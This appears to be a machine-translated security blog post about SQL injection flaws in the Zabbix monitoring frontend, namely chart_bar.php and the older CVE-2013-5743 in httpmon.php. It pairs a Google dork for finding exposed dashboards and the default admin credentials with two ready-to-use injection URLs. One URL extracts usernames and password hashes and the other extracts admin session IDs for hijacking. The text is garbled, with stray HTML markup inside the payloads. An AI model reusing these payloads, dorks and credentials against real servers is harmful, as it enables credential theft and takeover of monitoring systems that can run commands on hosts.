Zabbix's front desk SQL injection exploit

This August map on Wooyun sent a zabbix a foreground SQL injection loophole, November was not public.

The vulnerability details are about this:

There is a SQL injection vulnerability in the Zabbix front end, which can cause serious consequences because the Zabbix foreground is available for command execution in Zabbix server and client.

The 163 lines of code in/chart_bar.php get a value from Get,post,cookie itemid.

$itemid = $item[‘itemid‘];

Finally, this parameter enters the SQL query process.

The same problem exists in the $periods parameter within the same file, resulting in the same SQL injection vulnerability.

Fix Suggestion: Filter the relevant parameters plus the ZBX_DBSTR function

Wooyun on the POC is not good, the small partner changed a Java version of Exp, and later studied how to easily identify the site there is no loopholes, exp effect such as:

Small version of the anti-compilation read a bit of Java source changed to a Python edition:

Brain Repair Time:

Default password: Admin/zabbix
google:inurl:zabbix/dashboard.php

We also remember clearly that
Zabbix SQL injection/rce–cve-2013-5743
httpmon.php page exists without the ZBX_DBSTR function filter causes injection

Get password

123

http://Zabbixsecpulse. Com/httpmon. Php? Applications=2 And (select 1 from (select count< Span class= "Crayon-sy" > (* concat ( (select< Span class= "Crayon-sy" > (select concat (cast (concat (alias,0x7e ,passwd,0x7e< Span class= "Crayon-sy" >) as char) ,0x7e) ) From Zabbix.UsersLIMIT 0,1" ,floor ( rand (0) *2) ) x from information_schema. Tables group by x< Span class= "Crayon-sy" >) a)

Get SessionID (replaceable refresh login)

1234

http://Zabbixsecpulse. Com/httpmon. Php? Applications=2 And (select 1 from (select count< Span class= "Crayon-sy" > (* Concat((Selectconcat ( cast(concat(sessionid,0x7e, userid,0x7e,status) as Char),0x7e)) From Zabbix.sessions where status =0 and userid=1 limit 0,1) floor (rand (0) *2 ) x from information_schema. Tables group by x)a)

Reprint please specify: safe pulse»zabbix Front desk SQL injection exploit

Zabbix's front desk SQL injection exploit